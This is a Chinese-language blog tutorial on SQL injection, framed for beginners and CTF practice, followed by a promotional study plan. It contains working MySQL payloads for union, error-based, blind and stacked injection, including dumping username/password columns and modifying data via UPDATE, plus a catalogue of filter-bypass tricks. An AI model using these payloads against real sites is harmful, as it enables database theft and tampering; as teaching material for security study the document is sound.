半小时了解SQL注入漏洞?(注入方式大全+绕过大全)

🏆今日学习目标:
🍀学习了解sql注入漏洞
✅创作者:贤鱼
⏰预计时间:35分钟
🎉个人主页:贤鱼的个人主页

🔥专栏系列:网络安全
⚠如有需要可以查看以往文章:
一文了解数据库操作–mysql(25分钟)
具体详细介绍在专栏中有单独介绍,可以查看
只有了解才能注入

请添加图片描述

SQL注入
  • 🍀union注入
  • * 原理
    
    • 过程
    •   * 判断数字或者字符串
      
      • 判断字段数
      • 判断回显点
      • 注入库名
      • 注入表名
      • 注入列名
      • 查数据
  • 🍀报错注入
  • * 原理
    
    • 注入
    •   * extractvalue
      
      • 双查询注入
      • 双列名查询
    • 报错函数
    •   * geometrycollection()
      
      • multipoint()
      • polygon()
      • multipolygon()
      • linestring()
      • multilinestring()
      • exp()
      • ST_LatFromGeoHash()
      • ST_LongFromGeoHash()
      • GTID_SUBSET()
      • GTID_SUBTRACT()
      • ST_PointFromGeoHash()
      • procedure analyse()
  • 🍀盲注
  • * 布尔盲注
    
    •   * 原理
      
      • 布尔盲注payload构造步骤
      • 截取字符串
      •     * substr()
        
        • mid
        • rigth()
        • left()
        • regexp
        • rlike
        • trim
        • insert
      • 字符串定位函数
      • 比较
      • rlike/regexp
      •     * between
        
        • in
        • and,or减法运算
      • 脚本
    • 时间盲注
    •   * 原理
      
      • 时间盲注payload步骤
      • 条件语句构造
      •     * and
        
        • or
      • 延时操作
      • sleep
      •     * benchmark
        
        • 笛卡尔积延时
        • 正则dos延时
      • 脚本
    • 报错盲注
    •   * 原理
      
  • 🍀堆叠注入
  • * 原理
    
    • 实施方法
    •   * table
      
      • handler
      •     * 原理
        
        • 模板
        • 使用方法
  • 🍀修改数据
  • * 前提
    
    • 具体方法
  • 🍀绕过方法大全🔥
  • * 常见绕过方式
    
    • 关键字绕过
    •   * 字符串
      
      • and/or
      • and/or/union
      • and/or/union/where
      • and/or/union/where/limit/group by
      • and/or/union/where/limit/group by/select
      • 空格
      • 逗号
      • 单双引号
  • 🏆结束语

🍀union注入

原理

利用union关键字,union会将前后两次查询结果拼在一起,由于是联合查询,必须保证字段数一致,也就是两个查询结果有相同列数

过程

1 判断数字或者字符串注入类型
2 判断字段数,查询有几个字段
3 判断回显点,有些字段存在但是不会输出内容,我们需要找到会显示的字段数
4 注入库名
5 注入表名
6 注入列名
7 查数据

判断数字或者字符串

输入:
id=1
id=1’
id=1’–+(–+是注释的意思)
为什么有时候加个单引号会报错,而加个注释又会查询成功呢?
举个栗子:‘xxx xxx xxx’这样子是正常的
‘xxx xxx id’ xxx’ 这样子第二个’是不是就会报错
‘xxx xxx id’–+xxx’这样子后面的‘就被注释掉了,也就不会报错了

判断字段数

上文说过,union前后查询字段数必须一致,所以我们还要对字段数进行判断。在此可以利用order by
n进行判断,意思是根据n个字段排序,如果不存在这个字段就会报错

在这里插入图片描述

这里依次查询1,2,3,4,5

在这里插入图片描述

4和5都会报错,所以可以得知,字段数为3
当然 union也是可以用的

在这里插入图片描述

第一个是1查询的,后面三个是1,2,3查询的,1,2,3,4依旧报错

判断回显点

这里的操作和上文union查询字段数一样

在这里插入图片描述

很明显,字段数3中,我们的1,2,3都输出了,所以回显点就是1,2,3

注入库名

查询到回显点,就要开始注入了,想要注入数据,必须得到他的库名
获得库名可以用database()函数
如图:输入id=-1’ union select 1,2,3 --+

在这里插入图片描述

我们再回显点2位置注入,发现成功获得了库名

当然,换个位置效果一样

分享几个查询数据库的方法

id=-1' union select 1,database(),3 --+
查看所有数据库名称
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata --+
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata limit1,1 --+ # 查询第2个数据
也可以用group_concat()函数将查询结果内容放入同一行
id=-1' union select 1,group_concat(SCHEMA_name),3 from information_schema.schemata --+
注入表名

有了库名就可以查询表名了

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema='库名' --+

就可以查询到表名了

注入列名

查询到库名和表名就可以查询列名

d=-1' union select 1,group_concat(column_name),group_concat(data_type) from
information_schema.columns where table_schema='库名' and table_name='表名' --+
查数据

接下来就是查询数据了

id=-1' union select 1,username,password from security.users limit 0,1 --+



id=-1' union select 1,concat(username,0x5c,password),3 from security.users limit 0,1 --+



id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users
--+

concat() :将两个字段结合成为一个字段

在这里插入图片描述

🍀报错注入

原理

利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中
sql查询的星系会被报错语句返回到界面上

注入

extractvalue

extractvale(MXL_document,xpath_string);

第一个参数为xml字符串
第二个参数为xpath格式字符串

作用,从xml中返回包含查询字符串

注意! 查询时用group_concat或者limit
记得用substr函数进行截取,extractvalue报错信息最多32个字符

后面的程序和上文union注入差不多,如有需要可以查看

双查询注入

上文所说查询时用group_concat或者limit
有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit
在这里插入图片描述
用limit将结果一行一行爆出

双列名查询

join:
用于将两个表连接

在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入

报错函数

geometrycollection()

geometrycollection((select * from(select * from(select
user())a)b));(5.1>=version<=5.5.48 )

multipoint()

multipoint((select * from(select user())b));
(5.1>=version<=5.5.48 )

polygon()

select polygon((select * from(select * from(select
user())a)b));(5.1>=version<=5.5.48 )

multipolygon()

multipolygon((select * from(select * from(select
user())a)b));(5.1>=version<=5.5.48 )

linestring()

linestring((select * from(select * from(select user())a)b));
(5.1>=version<=5.5.48 )

multilinestring()

multilinestring((select * from(select * from(select
user())a)b));(5.1>=version<=5.5.48 )

exp()

exp(~(select * from(select user())a));
(5.1>=version<=5.5.48 )

ST_LatFromGeoHash()

select ST_LatFromGeoHash(user());(>=5.7)

ST_LongFromGeoHash()

select ST_LongFromGeoHash(user());(*>=5.7)

GTID_SUBSET()

select GTID_SUBSET(user(),1);(*>=5.7)

GTID_SUBTRACT()

select GTID_SUBTRACT(user(),1);(*>=5.7)

ST_PointFromGeoHash()

select ST_PointFromGeoHash(user(),1);(*>=5.7)

procedure analyse()

procedure
analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句
末尾,(*<=5.6.17)

🍀盲注

布尔盲注

原理

存在sql注入漏洞的地方,但是不会会先数据,只能看到是否执行成功,这样子就不能通过注入数据回显了,就需要盲注,盲注对一个数据多次测试

举个例子

如果"库名"第一个字母是a,就回显“查询成功”,反之“查询失败”;
如果"库名"第一个字母是b,就回显“查询成功”,反之“查询失败”;
......
如果"库名"第一个字母是z,就回显“查询成功”,反之“查询失败”;
......

名字可能由任何字符组成,我们如果匹配上了,就把他记录下来,一位一位的比较,就可以获得我们要的数据了
当然,如果手动比较,电脑和我的手一定会炸掉一个
所以我们需要写脚本,在后文会介绍到。

布尔盲注payload构造步骤

确定注入点,找到回显不同,例如:内容不同或者http头部不同

我们该如何构造语句呢?
举个栗子

SELECT name, mojority FROM student WHERE student_id = '0' or substr((QUERY),1,1) = 'a'

SELECT name, mojority FROM student WHERE student_id = ‘0’ or
substr((QUERY),1,1) = ‘a’
这个部分就是我们需要构造的部分

构造语句的两个重点:
字符串如何截取
比较结果是否相等

所以盲注就相当于把注入内容一位一位拆开然后比较内容,最后比较出啥输出啥,然后将比较到的每一位字符都输出就是我们的答案了

截取字符串
substr()

使用方法:
substr(要截取的字符串,从哪一位开始,截取多长)

例如

select substr((select database()),1,1);
mid

用法和substr完全相同!!可以互相绕过过滤

rigth()

使用方法
right(要截取的字符串,截取长度)
表示截取字符串右边几位
注意:
配合ascii/ord一起使用,这两个函数是返回传入字符串的首字母的ASCII码
使用方法:
ascii((right(要截取的字符串,x)))
返回的内容是从右往左x位的ascii码

举个栗子

select ascii(right((select database()), 2));
left()

使用方法:
left(要截取的字符串,截取长度)
表示截取字符串左边第几位
注意:
配合reverse()+ascii/ord使用,用法和上面类似

举个栗子:

elect ascii(reverse(left((select database()), 2));
regexp

使用方法:
binary 目标字符串 regexp 正则
判断一个字符串是否匹配一个正则表达式

举个栗子:

select (select database()) regexp binary '^sec'
rlike

用法和regexp雷同

trim

trim(leading ‘a’ from ‘abcd’)
表示移除句首a,会返回abc,如果将from前的a改成b,则会返回abcd

insert

用法
insert(字符串,起始位置,长度,替换成什么)

字符串定位函数
INSTR(str,substr)–> 返回字符串 str 中子字符串的第一个出现位置,否则为0
FIND_IN_SET(str,strlist)–> 返回字符串 str 中子字符串的第一个出现位置,否则为0
LOCATE(substr,str,pos)–> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置
在pos。如若substr 不在str中,则返回值为0
POSITION(substr IN str)–> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串
substr 在 str 中不存在,返回值为 0

用法: locate(substr, str, pos) 字符串 str中子字符串substr的第一个出现位置, 起始位置在
pos。如若substr 不在str中,则返回值为0。

比较
rlike/regexp

上文有讲,截取+比较结合体

between

用法
expr between 下界 and 上界
意思是是否expr>=下界 &&expr<=上界

in

用法
expr0 in(expr0,expr1,expr2)

and,or减法运算

可以用一个 true 去与运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
ASCII码:

可以用一个 false 去或运算一个ASCII码减去一个数字,如果返回0则说明减去的数字就是所判断的
ASCII码:

脚本

这里避免大家看着无聊,本文主要是总结,所以脚本就放在下面内容了
35分钟了解sql注入-盲注(三)

时间盲注

原理

有那么一种可能,查询成功失败返回的都一样,那么我们就无法通过返回结果看比较是否成功了,这时候就需要从裤裆里掏出时间盲注了!!!

介绍下原理:

如果"数据库名"的第1个字母是a,你就睡眠5秒,否则就直接回显
......
如果"数据库名"的第2个字母是a,你就睡眠5秒,否则就直接回显
如果"数据库名"的第2个字母是b,你就睡眠5秒,否则就直接回显
......
后面以此类推
时间盲注payload步骤

和上文布尔盲注差不多,只不过在构造条件语句时关注延时操作而不是返回值了

条件语句构造

往上翻,啥都有

补充一下

and

如果and前为真,执行后面内容

(condition) AND sleep(5)
or

如果前面为假才执行后面

!(condition) OR sleep(5)
延时操作

这里还是要写一下

sleep

意思是休眠指定事件后继续

栗子:

SELECT if(ascii(substr((QUERY),8,1))=121,sleep(5),0);
benchmark

用法
benchmark(执行次数,执行什么)

栗子:

SELECT benchmark(10000000,sha1('test'));
笛卡尔积延时

注意当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;

SELECT count(*) FROM information_schema.columns A,
information_schema.columns B, information_schema.columns C;
正则dos延时

原理:
通过费时正则匹配操作消耗时间

栗子:

select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE
concat(repeat('(a.*)+',30),'b');
脚本

35分钟了解sql注入-盲注(三)

报错盲注

用法和延时盲注基本一致,但是可以用来绕过过滤延时盲注的关键字

原理

原理就是比较条件为真时,通过调用产生错误的函数

if(condition,报错,不报错)

🍀堆叠注入

原理

当使用了支持多语句查询的函数时,数据库就会造成堆叠注入

实施方法

例如:

table / handler

table

作用相当于select

handler

这个好好讲一下

原理

总所周知,在sql注入中可以使用select,可如果题目中过滤了select该怎么办呢?我们可以使用handler,这个语句可以一行一行显示库中内容

模板

handler user open;
handler user read;读出什么输出什么

handler user read first [where username=‘admin’];
handler user read next [where username=‘admin’]; – [] 中的内容意味着可加可不加
user是表名

使用方法

首先抓包,然后鼠标右键send to repeater

用’;闭合前段,然后输入handler user open;handler user read
next;,这里first时代表第一个内容,next是后面的内容,user是表名,我们通过多次用handler user read
next可以看到表中所有的内容,所以多次复制handler user read next;就可以了

在这里插入图片描述

🍀修改数据

前提

在修改数据的前提下,我们要先想方法爆出对方的库名,以及我们需要修改的列名,有些注入可能有很多列,我们要知道他们才能做到修改数据

具体方法

在决定使用这个方法的同时,我们需要看看对方过滤的内容,如果发现可以通过其他方法,还是不要用这个为好⚠
下面来具体的实现一下:

众所周知,在做题之前要看一下网页源代码

在这里插入图片描述

这里可以看到,在最后面的提示内容告诉了我们很多东西

在这里插入图片描述

表名这不就有了
接下来用bp抓包

这里用’;闭合前面,然后按照UPDATE <表名> SET 字段1=值1, 字段2=值2, … WHERE …;的格式来修改答案,

在这里插入图片描述
修改完毕将值发回去就可以发现成功注入了

在这里插入图片描述

🍀绕过方法大全🔥

常见绕过方式

大小写绕过 :如果在检测关键字区分大小写了,才可以使用 (mysql关键字不区分大小写)

双写绕过 :如果代码的过滤原理是检测关键字并且将它删除,如果只删除依次,就可以利用这个绕过

url编码 :乳沟代码中多执行一次url解码过程就可以使用这个方法

关键字绕过

字符串

主要思想是利用函数或者十六进制数拼接目标字符串

and/or

&& —和and作用相同
|| —和or作用相同

and/or/union

try一下盲注

1'||(select user from xxx where xxx)='admin'
and/or/union/where

可以使用limit或者group by

-- limit
1||( select user from users limit 1)='admin' limit 1,1
1||( select user from users limit 1)='admin' limit 1 offset 1
-- group by
1||(select user from users group by user_id having user_id=1 )= 'admin'
and/or/union/where/limit/group by

emmm,换成substr(group_concat(XXX))一个一个包吧

and/or/union/where/limit/group by/select

盲注—你值得拥有

1||user_id is not null -- 存在该字段正常查询,不存在报错
1||substr(user,1,1)=0×61
1||substr(user,1,1)=unhex(61)
空格
select/**/username/**/from/**/user; -- /**/ 使用注释
select/*!username*//*!from*/user; -- /*!*/ 内联注释,内联注释中的内容也会被当作代码执行
select(username)from(user); -- 使用括号绕过
select%0busername%0bfrom%0buser; -- 如果使用url传参时可以使用其他的空白符号(将其进行URL
编码)绕过:%09:TAB 键(水平); %0a: 新建一行; %0b:TAB 键(垂直); %0c:新的一页;
%0d:return 功能;
select`username`from`user`; -- 对于表名和列名可以用反引号包裹起来。
逗号
-- 绕过select中字段间的逗号,使用join
select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
-- 绕过if中的逗号
select username from user where username='admin' or (CASE WHEN (1=12) THEN 1
ELSE 0 END)
-- 绕过substr中逗号
Substr(DATABASE() FROM pos FOR len), mid(DATABASE() FROM 1 FOR 1)
-- 绕过limit中逗号
Limit 1 offset 1
select top 5 * from table
单双引号

如果被转义,尝试宽字节注入

如果’被改成了’,就无法用引号闭合sql语句中的引号了

🏆结束语

🍀sql注入的内容就早这里了,如果对网络安全感兴趣的话可以订阅专栏,会持续更新网络安全方面知识

请添加图片描述

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 22
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值